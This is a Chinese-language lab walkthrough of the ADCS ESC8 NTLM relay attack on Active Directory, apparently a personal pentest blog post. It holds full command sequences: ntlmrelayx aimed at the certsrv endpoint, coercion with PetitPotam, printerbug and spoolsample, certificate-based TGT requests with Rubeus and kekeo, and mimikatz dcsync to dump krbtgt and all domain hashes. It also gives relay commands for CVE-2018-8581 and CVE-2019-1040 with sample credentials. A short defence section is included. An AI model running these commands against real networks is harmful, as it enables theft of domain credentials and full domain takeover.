前言
ADCS ESC8 也被叫做ADCS Relay,是目前ADCS里面利用最广的一个洞
adcs esc1-esc8 相关:https://mp.weixin.qq.com/s/CG-kSHyWDnUERL4NGddiRw
漏洞利用原因:
由于ADCS的http证书接口没有启用NTLM中继保护,因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议无法使用。因此,攻击者可以利用NTLM Relay攻击ADCS证书服务。
1.通过ntlm_relay,我们获得一个以机器A用户认证的证书
2.我们通过Rubeus asktgt功能用这个证书向AD发起kerberos认证
3.我们获取到TGT并请求目标机器的TGS,获取权限
一.添加ADCS服务
添加ADCS服务
选择证书颁发机构
点击直接安装
二.配置ADCS服务
选择企业CA
右键复制模板
修改名称为LDAPS
右击属性--->请求处理--->导出私钥
新建 要颁发的模板
申请新证书
三.ADCS-ESC8 攻击
PDC 192.168.184.217
BDC 192.168.184.216 (ADCS)
Kali 192.168.184.135
server2012 192.168.184.238
(1)通过证书查找证书服务器
certutil -config - -ping
certutil -ca
(2)ntlmrelayx 监听
需要使用新版的impacket (https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack)
sudo python3 ntlmrelayx.py -t http://192.168.184.216/certsrv/certfnsh.asp -smb2support --adcs
(3)触发回连
使用脚本触发辅助域控回连我们的攻击机器,这里可以使用最新的Petitpotam.py,也可以使用printerbug.py
1.PetitPotam
python3 PetitPotam.py kali ip dc ip
python3 PetitPotam.py 192.168.184.135 192.168.184.217
2.printerbug(需要应该域内的用户账户)
python3 printerbug.py mark/hacker@dcip kaliip
python3 printerbug.py mark/hacker@192.168.184.217 192.168.184.135
(4)ntlmrelayx成功进行relay,并获取到证书信息
(5)获取域管
有了这个证书之后,可以直接使用kekeo或者rubeus,申请tgt,从而能够dcsync
kekeo:
base64 /input:on
tgt::ask /pfx:xxx /user:DC01$ /ptt
rubeus:
Rubeus.exe asktgt /user:DC01$ /certificate:xxx /ptt
使用mimikatz即可导出域内任意用户哈希
mimikatz.exe
#查看kerberos票据
kerberos::list
#导出krbtgt用户的hash
lsadump::dcsync /user:krbtgt /csv
#导出域内hash
lsadump::dcsync /all /csv /domain:mark.com
踩坑点:
(1)rubeus报错1
解决方法:使用rubeus 1.6.4 新版
(2)rubeus报错2
KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED
解决方法
打开组策略,计算机配置\Windows 设置\安全设置\本地策略\安全选项,找到配置 Kerberos 允许的加密类型,将下面全部勾选即可
勾选后,重新启动就可以获取TGT了
检测和防御
- 如果不需要,可以关闭证书服务的web端点。
- 可以将我们relay到的web端点
certsrv
,该iis配置中的ntlm认证删除,这样就无法使用ntlm进行认证,也就封堵了relay攻击。
四.关于NTLM请求【摘自evi1cg文章】
(1)被动触发
常规方式就是构造一个UNC路径,让我们的目标来访问,如:
dir \\hostshare\xx
或者发一个邮件,里面包含一个图片,然后带了unc的路径,如:
<img src="\\hostshare\xx">
被动触发一般比较是被动,一般使用主动触发
(2)主动触发
多数主动触发需要我们拥有域内成员账号密码。
exchange
exchange作为一个高价值目标,默认情况下,Exchange Windows Permissions
安全组对安装exchange的域的域对象具有writeDACL
权限,这就意味着,我们可以进行权限的提升。利用Exchange也很有可能直接拿下域控。
1.cve-2018-8581
该漏洞本质上是一个 SSRF 漏洞,漏洞成因主要是由于 exchange 底层逻辑中访问用户‘订阅’时,会使用系统用户的 net-ntlm hash 去访问目标地址。因此,可以构造恶意服务器抓取 exchange 服务器系统账户的 net-ntlm hash 并重放,中继到管理员权限。
利用Relay来直接获取指定用户Hash
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d
domain.com -th DCip MailServerip
2.cve-2019-1040
利用exchange漏洞和打印机bug漏洞,进行中继和回连
https://www.cnblogs.com/mrhonest/p/14187849.html#漏洞概述
1.攻击机开启中继
impacket-ntlmrelayx --escalate-user chenli -t ldap://192.168.110.12 -smb2support --remove-mic --delegate-access -debug
2.使用打印机漏洞
windows:
spoolsample.exe exchangeIP 攻击机IP
kali:
python3 printerbug.py sync.net/chenli:cl123\!\@\#45@192.168.110.81 192.168.1.103
RPC的利用
1.打印机bug漏洞
微软官方认为是正常业务,也不给出补丁。微软的spoolsv.exe注册了一个服务和若干个rpc。允许认证用户远程调用,其中RemoteFindFirstPrinterChangeNotificationEx
这个函数运行传进一个unc
路径,打印机服务就会去请求该unc
路径。由于打印机是以system
权限运行的,所以我们访问打印机rpc,迫使打印机服务向我们发起请求拿到的net-ntlm hash
是机器用户hash
。
python printerbug.py cgdomain.com/test:'1qaz@WSX'@10.211.55.201 10.211.55.2
2.PetitPotam
PetitPotam是今年7月刚刚出的新的rpc利用方式,补丁更新后好多打印服务被关闭,有攻击者研究出通过efs进行rpc攻击方式
加密文件系统(EFS)是微软 Windows 在 NTFS3.0 中引入的一个功能,它提供文件系统级加密。此技术使文件支持透明加密以保护机密数据免受具有物理访问权限的攻击者侵害。EFS从Windows 2000起在所有为商业环境开发的Windows版本中可用.
该漏洞利用了微软加密文件系统远程协议(MS-EFSRPC,MicroSoft Encrypting File System Remote Protocol)。MS-EFSRPC是 Microsoft 的加密文件系统远程协议,用于对远程存储和通过网络访问的加密数据执行“维护和管理操作”。利用该漏洞,黑客通过连接到LSARPC强制触发目标机器向指定远程服务器发送Net-NTLM Hash,从而攻击者在拿到Net-NTLM Hash后能进行NTLM Relay攻击,进而接管整个域。该漏洞可以用于替代Printerbug。
攻击者可以通过使用 MS-EFSRPC 协议将 DC NTLM 凭据中继到 Active Directory 证书服务 AD CS Web 注册页面以注册 DC 证书,从而以域控制器为目标来发送其凭据
和之前的printer bug
利用类似,EFS的rpc,允许恶意域用户/或机器账号控制其它机器外发认证。SERVER2012以下支持匿名触发,server2016以上匿名管道默认为空,需要凭据触发
python Petitpotam.py -u sanfeng -p '1qaz@WSX' -d cgdomain.com 10.211.55.2 10.211.55.202
(3)全补丁的情况下
如果安装证书服务,可使用ADCS
参考文章:
https://evi1cg.me/archives/NTLMRelay.html
https://mp.weixin.qq.com/s/AmcC4DzmowbE3vQC0GYpag
https://mp.weixin.qq.com/s/1AjmiaDOIKbYIAu7VAwIQg
https://mp.weixin.qq.com/s/CG-kSHyWDnUERL4NGddiRw